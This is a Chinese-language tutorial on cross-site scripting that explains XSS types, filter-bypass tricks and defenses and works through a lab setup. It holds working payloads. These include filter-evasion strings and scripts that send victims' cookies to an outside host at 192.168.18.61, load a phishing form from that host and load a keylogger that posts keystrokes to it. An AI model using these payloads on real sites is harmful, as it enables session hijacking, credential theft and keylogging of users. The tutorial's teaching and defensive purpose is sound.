一文掌握XSS
XSS跨站腳本攻擊
1、什麼叫跨站腳本攻擊?
即:給一個目標插入腳本攻擊程式碼,當瀏覽的人訪問這個網站,那麼瀏覽的人就中招了
2、XSS跨站腳本攻擊的原理
原理:XSS(Cross Site Scripting)是指攻擊者在網頁中嵌入客戶端腳本攻擊程式碼,通常是JavaScript編寫的危險程式碼,用戶使用瀏覽器瀏覽網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的。
3、XSS跨站腳本攻擊的目的是什麼?
最終目的是在網頁中嵌入客戶端惡意腳本程式碼讓瀏覽者訪問,最常用的攻擊程式碼是javascript語言,但也會使用其它的腳本語言,例如:ActionScript、VBscript。而如今的互聯網客戶端腳本基本是基於Javascript,所以如果想要深入研究XSS,必須要精通Javascript。
而對於滲透測試人員來說只需要彈個窗就好,證明有XSS漏洞
4、XSS跨站腳本攻擊出現的原因
程式對輸入和輸出的控制不夠嚴格,導致”精心構造「的腳本輸入後,在輸到前端時被瀏覽器當作有效程式碼解析執行從而產生危害。程式碼示例:
<?php
$name = $_GET['name']; # 沒有任何過濾,解析的話就會造成xss
echo "Welcome $name<br>"; # 如果沒有echo那就沒法解析上面的程式碼,也就不存在xss
?>
5、XSS跨站腳本攻擊的條件
1、有輸入有輸出且輸入地方沒有過濾
2、有輸入有輸出(沒有輸出即沒有解析也不行))
6、XSS跨站腳本攻擊分類
反射型:
交互的數據一般不會被存在在資料庫裡面,只是簡單的把用戶輸入的數據反射給瀏覽器,一次性,所見即所得。(一般來說,前端頁面會限制字元串長度,修改下maxlength就好)
儲存型XSS:
交互的數據會被存在在資料庫裡面,永久性存儲,具有很強的穩定性
DOM XSS:
不與後台伺服器產生數據交互,通過前端的dom節點形成的XSS漏洞(危害很小,很難利用,但是也是一類)
7、如何查找XSS跨站腳本攻擊漏洞
手工
對於XSS來說,只要有輸入且有對腳本輸出解析的地方(登錄註冊修改更新留言等等),都可以嘗試XSS——>
//xx.xx.xx.xx/xxx.php?id=參數'"><script>alert(12)</script>
HTML標籤、URL欄、Style地、Script地、referer頭、cookies、post參數、頁面帶參數的地方等等
(跟注入相似,找到帶參數的地方,直接上腳本程式碼)
工具
全自動掃描工具:APPscan、AWVS、Burpsuite 等
半自動化工具:Burpsuite、firefox(hackbar)、XSSER XSSF等
實驗,註:(利用掃描器掃出來的嘗試的xss程式碼,中間插入彈窗,放到實際環境中測試)
8、什麼是跨域
// www. oldboyedu.com :80 / news/index.php
協議 子域名 主域名 埠 資源地址
當協議、主機(主域名,子域名)、埠中的任意一個不相同時,稱為不同域。我們把不同的域之間請求數據的操作,成為跨域操作。
9、同源策略
為了安全考慮,所有瀏覽器都約定了「同源策略」,同源策略禁止頁面載入或執行與自身來源不同的域的任何腳本既不同域之間不能使用JS進行操作。比如:x.com域名下的js不能操作y.com域名下的對象
即:限制了跨域載入腳本
那麼為什麼要有同源策略? 比如一個惡意網站的頁面通過js嵌入了銀行的登錄頁面(二者不同源),如果沒有同源限制,惡意網頁上的javascript腳本就可以在用戶登錄銀行的時候獲取用戶名和密碼。
Tips:下面這些標籤跨域載入資源(資源類型是有限止的)是不受同源策略限制的
<script src="..."> //載入本地js執行 <img src="..."> //圖片 <link href="..."> //css <iframe src="..."> //任意資源
10、修改同源策略
後台設置好Access-Control-Allow-Origin,設置為*,既允許所有人訪問
也就是說,如果我們構造的url中使用到了.js腳本,同源策略是必須開啟的,就像下面所介紹的鍵盤記錄一樣。例子:
<script src="//192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
11、XSS盲打
XSS盲打就是攻擊者在前端提交的數據不知道後台是否存在xss漏洞的情況下,提交惡意JS程式碼在類似留言板等輸入框後,所展現的後台位置的情況下,網站採用了攻擊者插入的惡意程式碼,當後台管理員在操作時就會觸發插入的惡意程式碼,從而達到攻擊者的目的。
11'"><script>alert(63252)</script>
12、XSS繞過簡單方法
大多數網站為了避免xss的攻擊,對於攻擊者的輸入都採取了過濾的措施,導致攻擊者通常不能正常插入惡意程式碼來達到攻擊目的。但是仍存在一些漏洞可以利用,來繞過過濾措施。
xss繞過的方法有許多,主要取決於攻擊者的思路和對前端技術的掌握,以下介紹幾個簡單的繞過方法。
原型:'"><script>alert(63252)</script>
(1)
對前端的限制可以嘗試進行抓包重發或者修改前端的HTML。
(2)
防止後台對輸入的內容進行正則匹配來過濾輸入,對於這樣的過濾可以考慮大小寫混合輸入的方法。
例:
<sCRipT>alert('你打籃球像oldboy')</sCrIPt>
(3)
防止後台對輸入的內容進行替換,採用拼拼湊的輸入方法。
例:
<scr<script>ipt>alert('你打籃球像oldboy')</scr<script>ipt>
(4)
使用注釋來干擾後台對輸入內容的識別。
例:
<sc<!--test-->ript>alert('你打籃球像oldboy')</scr<!--tshauie-->ipt>
(5)
編碼
思路:後台有可能會對程式碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼後在插入,瀏覽器對改編碼進行識別時,會翻譯成正常的程式碼。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的)
使用HTML進行編碼:
<img src=x onerror="alert('yangshuang')"/>
(6)
例:使用事件屬性
(例如:系統用了正則匹配,導致大小寫和雙寫繞過失效,但是可以使用事件驅動,原理就是讓靶機因為無法出現一個不存在的圖片而出發錯誤,出現彈窗。)
onerror(): <img src=# onerror="alert('oldboy')"/>
13、XSS繞過之htmlspecialchars()函數
htmlspecialchars()函數把一些預定義的字元轉換為 HTML 實體。
預定義的字元是:
& (和號)成為 &
" (雙引號)成為 "
』 (單引號)成為'
< (小於)成為 <
>(大於)成為 >
該函數的語法:htmlspecialchars(string,flags,character-set,double_encode)
過濾原理:htmlspecialchars() 函數把預定義的字元轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函數默認配置不會將”單引號”和”雙引號”過濾,只有設置了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號
(類似於sql參數化查詢,將變數變為了常量)
可用的quotestyle類型:
ENT_COMPAT - 默認。僅編碼雙引號
ENT_QUOTES - 編碼雙引號和單引號
ENT_NOQUOTES - 不編碼任何引號
可使用以下語句繞過: q' onclick='alert(111)'
15、xss之href輸出繞過
javascript:alert(1111) 直接代入a標籤herf裡面一樣可以繞過htmlspecialchars
16、xss之js輸出繞過
原理程式碼:
<script>
$ms='11'</script><script>alert(1111)</script> ;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實厲害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('無論如何不要放棄心中所愛..')
}
}
</script>
------------------
2'</script><script>alert(1111)</script> 這段程式碼應該寫入$ms中
------------------
17、XSS常規防範
XSS防禦的總體思路是:
對輸入進行過濾,對輸出進行編碼
談一談過濾和轉義:
過濾:根據業務需求進行過濾,比如輸出點要求輸入手機號,則只允許輸入手機號格式的數字。
轉義:所有輸出到前端的數據都根據輸出點進行轉義,比如輸出到html中進行html實體轉義,輸入到JS裡面的進行JS轉義()
程式碼舉例:
不可能難度
源程式碼:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
系統使用了htmlspecialchars把我們XSS要用到的一些預定義字元轉化為HTML實體,導致無法再進行反射型XSS攻擊。
預定義字元包括:"、'、<、>、&
18、常用工具
包括kali的xsser、beef、各種掃描器
實戰
1、xss獲取cookie
111'"><script>document.location = '//192.168.18.61:99/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
前端限制繞過:
填入上面的xss程式碼:
得到返回的結果。
2、反射型XSS(POST)獲取用戶cookies
不好利用
在用戶登錄的情況下:
使用戶點擊我們的含xss程式碼的頁面:post.html,然後就能獲取到登錄狀態下用戶的cookies
3、xss釣魚演示
222'"><script src="//192.168.18.61:99/pikachu/pkxss/xfish/fish.php"></script>
利用這段程式碼,讓受害者輸入用戶名密碼,我們後台就能接收到
4、xss獲取鍵盤記錄演示(涉及到跨域)
條件:需要不受同源策略影響,到後台設置好Access-Control-Allow-Origin,設置為*,既允許所有人訪問,不受同源策略限制。
rk.js關鍵程式碼解讀:
var realkey = String.fromCharCode(event.keyCode); //獲取用戶鍵盤記錄,最後轉化為字元串
xl+=realkey; //賦值給x1
show(); //調用show涵數,通過下面ajax進行post發送鍵盤記錄人內容``
輸入設置好的惡意JS程式碼:
xxx'"><script src="//192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
然後在鍵盤上隨意輸入,就可以到xss平台上去查看鍵盤輸入的結果